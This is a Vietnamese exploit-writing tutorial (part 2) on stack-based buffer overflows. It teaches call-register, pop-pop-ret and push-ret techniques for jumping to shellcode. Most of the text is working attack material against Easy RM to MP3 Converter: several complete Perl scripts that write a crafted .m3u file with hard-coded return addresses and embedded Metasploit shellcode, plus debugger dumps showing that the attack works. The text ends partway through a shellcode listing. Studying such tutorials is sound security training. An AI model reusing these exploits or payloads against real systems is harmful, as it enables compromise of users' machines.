Tải bản đầy đủ

ebook viet code khaithac exploit 2

5T4 – Private Only

Exploit writing tutorial part 2 : Stack
Based Overflows – jumping to shellcode
Ở phần trước tôi đã trình bày về cách cơ bản để tìm kiếm một lỗ hổng và
cách để xây dựng một exploit hoạt động được. Trong ví dụ đó, chúng ta đã thấy
ESP trỏ trực tiếp đến điểm bắt đầu trong buffer ( chúng ta chỉ phải thêm 4bytes
để ESP trỏ trực tiếp tới shell code) và chúng ta sử dụng “jmp esp” để cho shell
code chạy.
Lưu ý: Phần hai này được viết nối tiếp phần một, chính vì vậy nên dành
thời gian để đọc và hiểu đầy đủ phần một trước khi đọc phần hai này.
Chúng ta thấy rằng việc sử dụng “jmp esp” là một kịch bản quá hoàn hảo.
Điều đó là không dễ trong mọi hoàn cảnh. Hôm nay tôi sẽ trình bày một số cách
để execute/jump tới shell code. Cuối cùng sẽ trình bày về cách bạn phải xử lý
khi đối mặt với trường hợp kích thước của buffer quá nhỏ.
Có nhiều phương pháp để buộc phải thực thi shellcode, đó là:
Jump ( hoặc call) thanh ghi trỏ trực tiếp đến shellcode. Với kỹ thuật này,
cơ bản là bạn sẽ sử dụng một thanh ghi có chứa địa chỉ trỏ tới nơi chứa
shellcode và đặt địa chỉ này vào trong EIP. Bạn sẽ cố gắng tìm opcode của
“jum” hoặc “call” tới thanh ghi có trong các dll file của ứng dụng đang chạy.
Khi bạn tạo ra payload, thay vì ghi đè EIP tới một địa chỉ trong bộ nhớ, bạn sẽ

ghi đè địa chỉ chứa lệnh “jum to register”. Đương nhiên, phương pháp này chỉ
hoạt động tốt khi mà thanh ghi chứa địa chỉ trỏ tới shellcode. Đây là cách mà
chúng ta đã sử dụng trong phần một nên tôi không nói nữa.
Pop return: nếu không có một thanh ghi nào trỏ trực tiếp tới địa chỉ,
nhưng bạn có thể thấy một địa chỉ trong stack ( có thể nằm ở đầu tiên, thứ hai…)
trỏ tới shellcode, bạn có thể tải vào trong EIP, nếu ở đầu tiên là pop ret, hoặc
pop pop ret nếu thứ hai, hoặc pop pop pop pop ret phụ thuộc vào vị trí nằm
trong stack.
Push return: phương pháp này hơi khác so với phương pháp “call to
register”, nếu bạn không thể tìm thấy opcode “call register” hoặc “jump
register”, bạn có thể push địa chỉ vào stack và tiến hành ret. Do đó, bạn cần tìm
push register theo sau là ret. Nếu như tìm được chuỗi này, một địa chỉ thực thi
Author : Hà Bách Nam and Nguyễn Kim Thụy

1


5T4 – Private Only
chuỗi này, và ghi đè EIP với địa chỉ tìm được.
jmp [reg + offset] : nếu một thanh ghi trỏ đến stack chứa shellcode,
nhưng không trỏ trực tiếp tới điểm bắt đầu của shellcode, bạn cũng nên có gắng
tìm trong các lệnh của OS hoặc dll mà thêm các bytes cần thiết vào thanh ghi
rồi tiến hành jump. Tôi gọi đó là phương pháp jmp [reg + offset].
blind return : Trong bài viết trước đây, ESP trỏ đến vị trí đỉnh stack hiện
hành. Một lệnh RET khi thực thi sẽ thực hiện lệnh pop giá trị cuối cùng (
4bytes) từ stack và đặt địa chỉ đó vào EIP. Vậy nếu bạn ghi đè EIP bằng một địa
chỉ thực hệnh lệnh RET, bạn sẽ mang được địa chỉ trong ESP vào EIP.
Nếu bạn phải đối mặt với trường hợp không gian bộ nhớ có sẵn trong
buffer bị giới hạn sau khi EIP bị ghi đè lên, nhưng lại có rất nhiều không gian
trước khi ghi đè ESP, bạn có thể sử dụng lệnh jump ở phần buffer nhỏ để nhảy
về đầu buffer, nơi chứa main shellcode.
SEH: Mọi ứng dụng để có những xử lý ngoại lệ mặc định được cung cấp
bởi OS. Vì vậy ngay cả khi ứng dụng không sử dụng xử lý ngoại lệ, bạn vẫn có
thể thử ghi đè lên phần xử lý SEH bằng địa chỉ của bạn và làm nó nhảy tới
shellcode của bạn. Sử dụng SEH làm cho exploit trở nên tin cậy trên nhiều nền
tảng Windows, nhưng đòi hỏi nhiều kỹ năng hơn trước khi bắt đầu lợi dụng
SEH để xây dựng exploit. Ý tưởng ở đây là giả sử bạn xây dựng một exploit
không hoạt động được trên OS đã cho, phần payload sẽ gây crash ứng dụng,
kích hoạt một ngoại lệ ( trigger). Vì vậy bạn có thể kết hợp một exploit thông
thường với một SEH exploit thành một exploit tin cậy. Phần ba của loại tutorial

sẽ nói về SEH exploit. Chỉ cần nhớ rằng, đặc điểm điển hình của stack based
overflow là ghi đè lên một EIP, có khả năng gọi tới một SEH exploit cơ bản cho
phép tin cậy hơn, một buffer có kích thước lớn hơn...
Các kỹ thuật sử dụng trong tài liệu này chỉ là ví dụ. Mục tiêu của bài này
chính là chỉ cho các bạn thấy rằng, có nhiều cách để nhảy đến shellcode, và
trong từng trường hợp có thể chỉ có một cách ( hoặc kết hợp nhiều kỹ thuật) để
làm cho đoạn mã của bạn được chạy.
Có thể có nhiều phương pháp của để làm cho exploit chạy và chạy một
cách tin cậy. Nhưng nếu bạn nắm được các kỹ năng được sử dụng ở đây, và nếu
sử dụng trong trường hợp thông thường, bạn sẽ có thể tìm được cách giải quyết
hầu hết các vấn đề khi cố tìm cách nhảy đến shellcode của bạn. Ngay cả khi
Author : Hà Bách Nam and Nguyễn Kim Thụy

2


5T4 – Private Only
một kỹ thuật như là làm việc được, nhưng shellcode vẫn không muốn chạy, bạn
vẫn có thể thử với việc mã hóa encode shellcode, di chuyển shellcode ra xa hơn
một tý và đặt NOP bytes trước đó. Đây là tất cả mọi thứ giúp bạn hoàn thành
công việc.
Tất nhiên, hoàn toàn có thể là một lỗ hổng dẫn tới việc crash, và không
bao giờ exploit được. Bây giờ tôi sẽ thực hiện các kỹ thuật đã được liệt kê ở
trên.
1. call

[reg]
Nếu một thanh ghi chứa một địa chỉ trỏ trực tiếp tới shellcode, bạn có thể
sử dụng call [reg] hoặc jump trực tiếp đến shellcode. Nói cách khác, nếu ESP
trỏ trực tiếp vào shellcode ( nên bytes đầu tiên của shellcode là bytes đầu tiên
của ESP) bạn có thể ghi đè EIP với địa chỉ chứa lệnh “call esp”, và shellcode sẽ
được thực thi. Điều này làm việc với tất cả thanh ghi và thư viện kernel32.dll
chứa rất nhiều địa chỉ chứa call [reg].
Quick example : giả sử ESP trỏ trực tiếp đến shellcode, đầu tiên hãy tìm
một opcode có chứa “call esp”. Chúng ta sẽ sử dụng findjmp:
findjmp.exe kernel32.dll esp
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C836A08
call esp
0x7C874413
jmp esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 2 usable addresses

Tiếp theo, chúng ta sẽ ghi đè EIP với địa chỉ 0x7C836A08.
Trong ví dụ trước, với Easy RM to MP3, chúng ta biết rằng có thể trỏ
ESP tới shellcode bằng cách thêm 4 ký tự giữa EIP và ESP, exploit sẽ như sau:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x7C836A08); #overwrite EIP with call esp
my $prependesp = "XXXX";

#add 4 bytes so ESP points at beginning of shellcode bytes

my $shellcode = "\x90" x 25;
#
#
#
#

#start shellcode with some NOPS

windows/exec - 303 bytes
http://www.metasploit.com
Encoder: x86/alpha_upper
EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .

Author : Hà Bách Nam and Nguyễn Kim Thụy

3


5T4 – Private Only
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50"
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43"
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c"
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47"
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50"
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43"
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45"
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

pwned !

2. pop

ret

Author : Hà Bách Nam and Nguyễn Kim Thụy

4


5T4 – Private Only
Trong ví dụ Easy RM to MP3, chúng ta hoàn toàn có thể tinh chỉnh để ESP
trỏ trực tiếp tới shellcode. Vậy sẽ như thế nào nếu không có thanh ghi nào trỏ
tới shellcode.
Vâng, trong trường hợp này, địa chỉ trỏ tới shellcode có thể nằm trên stack.
Nếu bạn dump esp, nhìn vào các địa chỉ đầu tiên. Nếu một trong các địa chỉ này
trỏ tới shellcode ( hoặc buffer bạn điều khiển được), tiếp theo bạn có thể tìm
được pop ret hoặc pop pop ret.
Lấy địa chỉ trong stack
Nhảy đến địa chỉ bạn sẽ đưa bạn tới shellcode
Kỹ thuật pop ret chỉ có tác dụng khi ESP+offset chứa địa chỉ trỏ tới
shellcode. Vì vậy, khi dump ESP, nếu một trong các địa chỉ đầu tiên trỏ tới
shellcode, và đặt một tham chiếu tới pop ret ( hoặc pop pop ret) trong EIP. Điều
này làm mất một số địa chỉ trong stack ( một địa chỉ cho một lần pop) và đưa
địa chỉ tiếp theo vào EIP. Nếu một trong số đó trỏ tới shellcode, bạn sẽ thành
công.
Trường hợp thứ hai sử dụng pop ret: điều khi bạn kiểm soát được EIP,
không có thanh ghi nào trỏ tới shellcode, nhưng shellcode của bạn được thấy ở
ESP+8. Trong trường hợp này, bạn có thể đặt pop pop ret vào EIP, sẽ nhảy tới
ESP+8.
Hãy xây dựng một thử nghiệm. Chúng ta có 26094 bytes trước khi ghi đè
EIP, và cần 4bytes trước khi ở tại vị trí ESP trỏ tới (trong trường hợp của tôi,
đây là 0x000ff730).
Chúng ta sẽ mô phỏng tại ESP+8, có một địa chỉ trỏ tới shellcode ( thực tế
tôi sẽ đặt shellcode ngay sau đó, nhắc lại đây chỉ là thử nghiệm).
26094 A, tiếp theo là XXXX ( kết thúc là nơi ESP trỏ tới), break, tiếp đến
là 7 NOP, break, và nhiều NOP nữa. Giả sử shellcode bắt đầu từ break thứ hai.
Mục đích là nhảy từ break đầu tiên tới tới break thứ hai, ESP+8 ở 0x000ff738.
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB"; #overwrite EIP
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\xcc"; #first break
$shellcode = $shellcode . "\x90" x 7; #add 7 more bytes
$shellcode = $shellcode . "\xcc"; #second break
$shellcode = $shellcode . "\x90" x 500; #real shellcode
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;

Author : Hà Bách Nam and Nguyễn Kim Thụy

5


5T4 – Private Only
close($FILE);
print "m3u File Created successfully\n";

Nhìn vào stack, ứng dụng bị crash bởi buffer overflow. EIP bị ghi đè bởi
BBBB. ESP trỏ tới 000ff730, bắt đầu với break đầu tiên, tiếp đến là 7 NOP,
chúng ta sẽ thấy break thứ hai, nơi thực sự bắt đầu của shellcode ( tại địa chỉ
0x000ff738).
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fa
eip=42424242 esp=000ff730 ebp=00344200 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??
???
0:000> d esp
000ff730 cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90 ................
000ff740 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff760 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d 000ff738
000ff738 cc 90 90
000ff748 90 90 90
000ff758 90 90 90
000ff768 90 90 90
000ff778 90 90 90
000ff788 90 90 90
000ff798 90 90 90
000ff7a8 90 90 90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

90-90
90-90
90-90
90-90
90-90
90-90
90-90
90-90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

................
................
................
................
................
................
................
................

Mục đích là lấy giá trị trong ESP+8 vào EIP, và làm cho nhảy đến
shellcode. Chúng ta sẽ sử dụng kỹ thuật pop ret và địa chỉ của jmp esp để hoàn
thành.
Một lệnh pop sẽ lấy 4bytes trong stack, khi đó ESP trỏ tới 000ff734. Chạy
một lệnh pop nữa, sẽ lấy tiếp 4bytes nữa, ESP trỏ tới 000ff738. Khi lệnh ret
được thực thi, giá trị hiện tại của ESP sẽ được đưa vào EIP. Cho nên giá trị tại
000ff738 chứa địa chỉ của lệnh jmp esp, thì đó là những gì EIP sẽ làm. Buffer
sau 000ff738 chứa shellcode của chúng ta.
Chúng ta cần tìm pop,pop,ret trong một nơi nào đó, và ghi đè EIP bằng địa
chỉ lệnh đầu tiên trong chuỗi lệnh đó. Và chúng ta phải thiếp lập ESP+8 trỏ đến
địa chỉ của jmp esp, theo sau là shellcode của chúng ta.
Trước tiên chúng ta phải biết opcode của pop pop ret. Chúng ta sẽ sử dụng
chức năng assembly trong windbg để thực hiện:
0:000> a
7c90120e pop eax
pop eax
7c90120f pop ebp
pop ebp

Author : Hà Bách Nam and Nguyễn Kim Thụy

6


5T4 – Private Only
7c901210 ret
ret
7c901211
0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e 58
7c90120f 5d
7c901210 c3
7c901211 ffcc
7c901213 c3
7c901214 8bff
7c901216 8b442404
7c90121a cc

pop
pop
ret
dec
ret
mov
mov
int

eax
ebp
esp
edi,edi
eax,dword ptr [esp+4]
3

Cho nên pop pop ret có opcode là 0×58,0x5d,0xc3
Đương nhiên, chúng ta có thể sử dụng các opcode khác, ví như các opcode
sau đây:

Bây giờ chúng ta phải tìm chuỗi opcode này trong các dll có sẵn. Trong
phần một chúng tôi đã nói dll ứng dụng so với dll của hệ điều hành. Theo đó,
tôi khuyến cáo sử dụng dll của ứng dụng bởi nó làm tăng tính tin cậy, tránh phụ
thuộc vào phiên bản windows. Nhưng bạn cần chắc chắn rằng dll sử dụng địa
chỉ đó mọi lúc. Đôi khi, dll được rebase và trường hợp đó tốt hơn sử dụng dll
của OS như user32.dll hoặc kernel32.dll.
Mở Easy RM to MP3 ( và không mở gì cả) rồi đính kèm windbg vào tiến
trình chạy. Windbg sẽ hiển thị các module được load, gồm cả OS modules và
module ứng dụng ( tìm dòng bắt đầu với ModLoad).
Đây là một vài dll của ứng dụng:
ModLoad:
ModLoad:
ModLoad:
ModLoad:

00ce0000
01a90000
00c80000
01b10000

00d7f000
01b01000
00c87000
01fdd000

C:\Program
C:\Program
C:\Program
C:\Program

Files\Easy
Files\Easy
Files\Easy
Files\Easy

RM
RM
RM
RM

to
to
to
to

MP3
MP3
MP3
MP3

Converter\MSRMfilter01.dll
Converter\MSRMCcodec00.dll
Converter\MSRMCcodec01.dll
Converter\MSRMCcodec02.dll

Bạn nên hạn chế sử dụng các địa chỉ chứa null bytes bởi nó làm việc exploit
trở nên khó khăn hơn. Tìm kiếm trong MSRMCcodec00.dll cho ta một số kết
quả:
0:014> s 01a90000 l 01b01000 58 5d c3
01ab6a10 58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc
01ab8da3 58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c

X].3.].U..QQ.E..
X]..M..e..Qj..5l

Author : Hà Bách Nam and Nguyễn Kim Thụy

7


5T4 – Private Only
01ab9d69

58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00

X].j...j........

Giờ chúng ta có thể nhảy tới ESP+8. Ở vị trí đó, ta cần đặt một địa chỉ tới
jmp esp ( như đã nói, sau khi RET, sẽ lấy địa chỉ đó đặt vào EIP. Tại thời điểm
đó, ESP đang trỏ tới shellcode của chúng ta nằm ngay sau địa chỉ jmp esp).
Trong phần một chúng ta đã thấy 0x01ccf23a trỏ tới jmp esp. Quay trở lại
perl script của chúng ta, sẽ thay thế BBBB ghi đè EIP bằng địa chỉ pop,pop,ret,
theo sau là 8bytes NOP ( mô phỏng ESP+8), tiếp đến là địa chỉ jmp esp và tiếp
đến là shellcode.
Buffer sẽ như sau:
[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
26094 A's
EIP
8 bytes offset
JMP ESP
(=POPPOPRET)

Tiến trình exploit như sau:
1.

2.

3.

4.
5.
6.
7.
8.
9.
10.
11.
12.
13.

EIP bị ghi đè bởi POP POP RET, ESP trỏ tới byte đầu tiên trong 8 bytes
offset.
POP POP RET được thực thi. EIP lấy địa chỉ 0x01ccf23a tại ESP+8,
ESP trỏ tới shellcode.
EIP bị ghi đè địa chỉ tới jmp esp, lần nhảy thứ hai được thực hiện và
shellcode được chạy.
---------------------------------|
|(1)
|
|
|
ESP points here (1)
|
|
|
V
[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
26094 A's
EIP
8 bytes offset
JMP ESP
^
(=POPPOPRET)
|
| (2)
|------|
ESP now points here (2)

Chúng ta sẽ mô phỏng với một break và một số NOP như là shellcode. Do
đó, chúng có thể nhảy nếu làm việc tốt.
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ab6a10); #pop pop ret from MSRMfilter01.dll
my $jmpesp = pack('V',0x01ccf23a); #jmp esp
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 8; #add more bytes
$shellcode = $shellcode . $jmpesp; #address to return via pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\xcc" . "\x90" x 500; #real shellcode
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

(d08.384): Break instruction exception - code 80000003 (!!! second chance !!!)

Author : Hà Bách Nam and Nguyễn Kim Thụy

8


5T4 – Private Only
eax=90909090 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fe
eip=000ff73c esp=000ff73c ebp=90909090 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff72b:
000ff73c cc
int
3
0:000> d esp
000ff73c cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff74c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff75c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff76c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff77c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff78c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff79c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7ac 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

Nó đã làm việc, bây giờ thay thế NOP sau jmp esp (ESP+8) với shellcode
thực sự ( một số NOP và shellcode với mã hóa alpha_upper)
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ab6a10); #pop pop ret from MSRMfilter01.dll
my $jmpesp = pack('V',0x01ccf23a); #jmp esp
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 8; #add more bytes
$shellcode = $shellcode . $jmpesp; #address to return via pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\x90" x 50; #real shellcode
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Author : Hà Bách Nam and Nguyễn Kim Thụy

9


5T4 – Private Only

pwned !
3. push

return
push ret tương tự như cal [reg]. Nếu có một thanh ghi trỏ trực tiếp tới
shellcode của bạn, và một lý do nào đó không thể sử dụng jmp [reg] để nhảy tới
shellcode, bạn có thể:
đặt địa chỉ của thanh ghi vào trong stack, nó sẽ nằm ở đỉnh stack
ret ( lấy địa chỉ này trong stack và nhảy tới đó)
Để làm được việc này, bạn cần ghi đè EIP bằng địa chỉ của chuỗi push [reg]
ret trong một thư viện dll. Giả sử ESP trỏ trực tiếp vào shellcode, bạn cần tìm
opcode push esp, theo sau là opcode ret.
0:000> a
000ff7ae push esp
push esp
000ff7af ret
ret
0:000> u 000ff7ae
+0xff79d:
000ff7ae 54
push
000ff7af c3
ret

esp

Opcode có trình tự 0×54,0xc3. Tiến hành tìm chuỗi opcode này:
0:000> s 01a90000 l 01dff000 54 c3
01aa57f6 54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 c0

T..........D$...

Author : Hà Bách Nam and Nguyễn Kim Thụy

10


5T4 – Private Only
01b31d88
01b5cd65
01b5cf2f
01b5cf44
01bbbb3e
01bbbb51
01bf2aba
01c0f6b4
01c0f6cb
01c692aa
01d35a40
01d4daa7
01d55edb
01d649c7
01d73406
01d74526
01d7452e
01d74b26
031d3b18
031d3b1c

54
54
54
54
54
54
54
54
54
54
54
54
54
54
54
54
54
54
54
54

c3
c3
c3
c3
c3
c3
c3
c3
c3
c3
c3
c3
c3
c3
c3
c3
c3
c3
c3
c3

fe
8b
8b
90
8b
90
0c
b8
90
90
c8
9f
9f
9f
d3
da
cc
ca
f6
f6

ff
87
4c
90
4c
90
8b
0e
90
90
3d
4d
4d
4d
2d
4c
36
63
ff
ff

85
33
24
90
24
90
74
00
90
90
10
68
68
68
d3
3b
bb
f0
54
4f

c0
05
58
90
50
90
24
07
64
90
e4
ce
ce
ce
c3
43
c3
c2
c3
bd

74
00
8b
90
5e
90
20
80
a1
8b
38
ca
ca
ca
3a
11
f8
f7
f6
f0

5d-53
00-83
c6-5f
90-90
33-c0
90-90
39-32
8b-4c
00-00
44-24
14-7a
2f-32
2f-32
2f-32
b3-83
e7-54
63-3b
86-77
ff-4f
ff-00

8b
f8
5e
90
5b
90
73
24
00
04
f9
f2
f2
f2
c3
c3
44
42
bd
6c

5c
06
5d
90
64
90
09
54
00
8b
ce
d5
d5
d5
ab
cc
d8
38
f0
9f

24
0f
5b
90
89
90
40
5e
6a
4c
f1
df
df
df
b6
36
00
98
ff
ff

30
85
64
8a
0d
90
83
5d
ff
24
52
1b
1b
1b
b2
bb
d1
92
00
30

57
92
89
81
00
90
c2
5b
68
08
15
8f
8f
8f
c3
c3
43
42
6c
ac

8d
01
0d
da
00
90
08
64
3b
8b
80
fc
fc
fc
0a
f8
f5
7e
9f
d6

4c
00
00
04
00
6a
41
89
84
54
d8
56
56
56
20
63
f3
1d
ff
ff

T.....t]S.\$0W.L
T...3...........
T..L$X.._^][d...
T...............
T..L$P^3.[d.....
T..............j
T...t$ 92s.@...A
T.......L$T^][d.
T....d.....j.h;.
T......D$..L$..T
T..=..8.z...R...
T..Mh../2......V
T..Mh../2......V
T..Mh../2......V
T..-..:........
T..L;C..T..6...c
T..6...c;D...C..
T..c....wB8..B~.
T...T...O....l..
T...O....l..0...

Tạo một exploit và chạy:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01aa57f6); #overwrite EIP with push esp, ret
my $prependesp = "XXXX";

#add 4 bytes so ESP points at beginning of shellcode bytes

my $shellcode = "\x90" x 25;
#
#
#
#

#start shellcode with some NOPS

windows/exec - 303 bytes
http://www.metasploit.com
Encoder: x86/alpha_upper
EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
